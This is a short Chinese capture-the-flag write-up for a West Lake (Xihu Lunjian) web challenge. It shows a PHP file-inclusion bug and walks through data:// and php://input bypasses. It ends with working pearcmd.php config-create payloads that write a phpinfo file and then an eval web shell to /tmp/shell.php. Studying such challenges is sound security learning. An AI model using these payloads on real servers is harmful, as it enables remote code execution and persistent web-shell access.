文章目录
学习连接: 西湖论剑的一道Web
源码
<?php
highlight_file(__FILE__);
if(isset($_GET['check'])){
if(file_get_contents($_GET['check']) === "LFI"){
@include($_GET['a']);
}else{
die("no!");
}
}
分析
信息搜集了一圈,啥也没有,也就是说不知道flag在哪个文件夹,自然无法简单的include
先分析源码吧
file_get_contents($_GET[‘check’]) === “LFI”
这里要求 $check
文件中的内容必须为 LFI
,有两种方法:
① ?check=php://input
,请求包中加上POST数据:LFI
② ?check=data://text/plain,LFI
@include($_GET[‘a’]);
可以读取任意文件
一般思路是寻找可包含文件,但刚才信息收集下来没有发现可疑文件,这个时候考虑包含系统敏感文件、php配置文件、Apache配置文件等
我尝试了一圈发现不可行
利用Pearcmd.php
简单来说就是利用这个文件中的pear命令行,其中有个可利用参数config-create
,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。
learn by here
构造payload:/?check=data://text/plain,LFI&+config-create+/&a=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/shell.php
访问/tmp/shell.php
剩下的就是常规套路
/?check=data://text/plain,LFI&+config-create+/&a=/usr/local/lib/php/pearcmd.php&/<?=eval($_REQUEST[8])?>+/tmp/shell.php